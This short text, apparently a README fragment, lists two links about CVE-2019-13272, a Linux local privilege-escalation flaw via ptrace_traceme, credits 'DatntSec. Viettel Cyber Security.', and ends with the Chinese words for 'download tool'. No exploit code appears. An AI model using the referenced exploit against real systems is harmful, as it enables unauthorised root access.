https://www.anquanke.com/post/id/193863#h2-3 https://jm33.me/cve-2019-13272-linux-lpe-via-ptrace_traceme.html

DatntSec. Viettel Cyber Security.

下载工具